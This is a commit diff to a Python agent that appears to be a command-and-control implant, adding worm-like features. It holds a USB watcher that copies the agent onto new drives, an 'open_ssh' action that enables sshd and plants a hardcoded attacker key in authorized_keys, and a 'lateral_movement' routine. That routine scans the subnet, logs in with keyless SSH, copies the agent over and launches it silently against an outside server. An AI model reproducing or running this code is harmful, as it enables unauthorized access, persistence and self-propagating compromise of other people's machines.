v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI
This commit is contained in:
190
agents/agent.py
190
agents/agent.py
@@ -12,8 +12,10 @@ import socket
|
||||
import platform
|
||||
import subprocess
|
||||
import shutil
|
||||
import getpass
|
||||
import urllib.request
|
||||
AGENT_VERSION = "2.2.0"
|
||||
AGENT_VERSION = "2.3.0"
|
||||
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
||||
AGENT_TOKEN = '__AGENT_TOKEN__'
|
||||
import urllib.parse
|
||||
import argparse
|
||||
@@ -235,6 +237,56 @@ def http_post(url, data_dict):
|
||||
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||
return None
|
||||
|
||||
|
||||
# ── USB spread-on-connect watcher ──
|
||||
USB_WATCH = False
|
||||
_last_usb_mounts = set()
|
||||
|
||||
def _current_usb_mounts():
|
||||
dirs = []
|
||||
system = platform.system().lower()
|
||||
if system == "linux":
|
||||
for base in ("/media", "/run/media", "/mnt"):
|
||||
try:
|
||||
for e in os.listdir(base):
|
||||
sub = os.path.join(base, e)
|
||||
if os.path.isdir(sub):
|
||||
try:
|
||||
for v in os.listdir(sub):
|
||||
dirs.append(os.path.join(sub, v))
|
||||
except Exception:
|
||||
pass
|
||||
if os.path.ismount(sub):
|
||||
dirs.append(sub)
|
||||
except Exception:
|
||||
pass
|
||||
elif system == "darwin":
|
||||
try:
|
||||
dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
|
||||
if not v.startswith(("Macintosh", "com.apple"))]
|
||||
except Exception:
|
||||
dirs = []
|
||||
return set(dirs)
|
||||
|
||||
def usb_watch_loop():
|
||||
global _last_usb_mounts
|
||||
_last_usb_mounts = _current_usb_mounts()
|
||||
while USB_WATCH:
|
||||
time.sleep(6)
|
||||
now = _current_usb_mounts()
|
||||
new = now - _last_usb_mounts
|
||||
if new:
|
||||
_last_usb_mounts = now
|
||||
for d in new:
|
||||
try:
|
||||
execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]})
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
_last_usb_mounts = now
|
||||
|
||||
import threading
|
||||
|
||||
def execute_structured_action(action_type, payload):
|
||||
global heartbeat_interval, node_tags
|
||||
system = platform.system().lower()
|
||||
@@ -678,10 +730,144 @@ def execute_structured_action(action_type, payload):
|
||||
results.append("copied: " + dest)
|
||||
except Exception as e:
|
||||
results.append("fail(" + dest_dir + "): " + str(e)[:60])
|
||||
global USB_WATCH
|
||||
if payload.get("watch") and not USB_WATCH:
|
||||
USB_WATCH = True
|
||||
try:
|
||||
threading.Thread(target=usb_watch_loop, daemon=True).start()
|
||||
except Exception:
|
||||
pass
|
||||
results.append("watch: on-connect replication active")
|
||||
if not candidates:
|
||||
return "No removable drives mounted", 0
|
||||
return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0
|
||||
return "USB replication (" + mode + "): " + "; ".join(results), 0
|
||||
|
||||
elif action_type == "open_ssh":
|
||||
# Ensure SSH daemon running + trust dashboard key + report connect info
|
||||
system = platform.system().lower()
|
||||
out = []
|
||||
if system == "linux":
|
||||
r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120)
|
||||
if r.returncode != 0 and not r.stdout.strip():
|
||||
out.append("sshd missing and install failed")
|
||||
r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30)
|
||||
out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode)))
|
||||
ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15)
|
||||
ssh_dir = os.path.expanduser("~/.ssh")
|
||||
os.makedirs(ssh_dir, exist_ok=True)
|
||||
auth = os.path.join(ssh_dir, "authorized_keys")
|
||||
existing = ""
|
||||
if os.path.exists(auth):
|
||||
with open(auth, errors="ignore") as f:
|
||||
existing = f.read()
|
||||
if NEXUS_SSH_PUBKEY not in existing:
|
||||
with open(auth, "a") as f:
|
||||
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
|
||||
os.chmod(ssh_dir, 0o700)
|
||||
os.chmod(auth, 0o600)
|
||||
out.append("dashboard key trusted")
|
||||
else:
|
||||
out.append("dashboard key already trusted")
|
||||
elif system == "darwin":
|
||||
r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15)
|
||||
out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root")
|
||||
home = os.path.expanduser("~")
|
||||
ssh_dir = os.path.join(home, ".ssh")
|
||||
os.makedirs(ssh_dir, exist_ok=True)
|
||||
auth = os.path.join(ssh_dir, "authorized_keys")
|
||||
existing = ""
|
||||
if os.path.exists(auth):
|
||||
with open(auth, errors="ignore") as f:
|
||||
existing = f.read()
|
||||
if NEXUS_SSH_PUBKEY not in existing:
|
||||
with open(auth, "a") as f:
|
||||
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
|
||||
os.chmod(ssh_dir, 0o700)
|
||||
os.chmod(auth, 0o600)
|
||||
out.append("key trusted")
|
||||
else:
|
||||
return "open_ssh: unsupported platform " + system, 1
|
||||
ip = get_ip_address()
|
||||
user = "root" if os.geteuid() == 0 else getpass.getuser()
|
||||
out.append(f"CONNECT: ssh {user}@{ip}")
|
||||
return " | ".join(out), 0
|
||||
|
||||
elif action_type == "lateral_movement":
|
||||
# Scan the local subnet for SSH-open hosts, attempt keyless SSH login with
|
||||
# available identities, and install the agent where login succeeds.
|
||||
cidr = payload.get("cidr") or ""
|
||||
max_hosts = int(payload.get("max_hosts", 64))
|
||||
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
||||
ip = get_ip_address()
|
||||
net = cidr
|
||||
if not net:
|
||||
try:
|
||||
out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5)
|
||||
for line in out.splitlines():
|
||||
if "src" in line and "/" in line and "default" not in line:
|
||||
net = line.split()[0]
|
||||
break
|
||||
except Exception:
|
||||
net = None
|
||||
hosts = []
|
||||
if net and "/" in net:
|
||||
try:
|
||||
import ipaddress as _ipa
|
||||
nw = _ipa.ip_network(net, strict=False)
|
||||
base = str(nw.network_address)
|
||||
prefix = ip.split(".")[:3]
|
||||
for h in list(nw.hosts())[:max_hosts]:
|
||||
hosts.append(str(h))
|
||||
except Exception:
|
||||
hosts = []
|
||||
found = []
|
||||
import socket as _s
|
||||
for h in hosts:
|
||||
if h == ip:
|
||||
continue
|
||||
try:
|
||||
c = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
|
||||
c.settimeout(0.4)
|
||||
c.connect_ex((h, 22))
|
||||
c.close()
|
||||
found.append(h)
|
||||
except Exception:
|
||||
pass
|
||||
results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"]
|
||||
installed = 0
|
||||
server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com"
|
||||
users = ["root", getpass.getuser()]
|
||||
key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"]
|
||||
ident = os.path.expanduser("~/.ssh/id_rsa")
|
||||
for h in found[:10]:
|
||||
ok = False
|
||||
for u in users:
|
||||
cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"]
|
||||
if os.path.exists(ident):
|
||||
cmd += ["-i", ident]
|
||||
cmd += key_opts + [f"{u}@{h}", "true"]
|
||||
r = subprocess.run(cmd, capture_output=True, text=True, timeout=12)
|
||||
if r.returncode == 0:
|
||||
try:
|
||||
# push agent + install
|
||||
c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"]
|
||||
subprocess.run(c1, capture_output=True, timeout=60)
|
||||
c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}",
|
||||
f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; "
|
||||
f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"]
|
||||
r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30)
|
||||
if r2.returncode == 0:
|
||||
installed += 1
|
||||
results.append(f"installed on {h} (user {u})")
|
||||
ok = True
|
||||
except Exception as e:
|
||||
results.append(f"push fail {h}: {str(e)[:40]}")
|
||||
if ok:
|
||||
break
|
||||
if not ok:
|
||||
results.append(f"no keyless access: {h}")
|
||||
return " | ".join(results) + f" | total installed: {installed}", 0
|
||||
|
||||
elif action_type == "export_diagnostics":
|
||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||
return run_shell(cmd)
|
||||
|
||||
Reference in New Issue
Block a user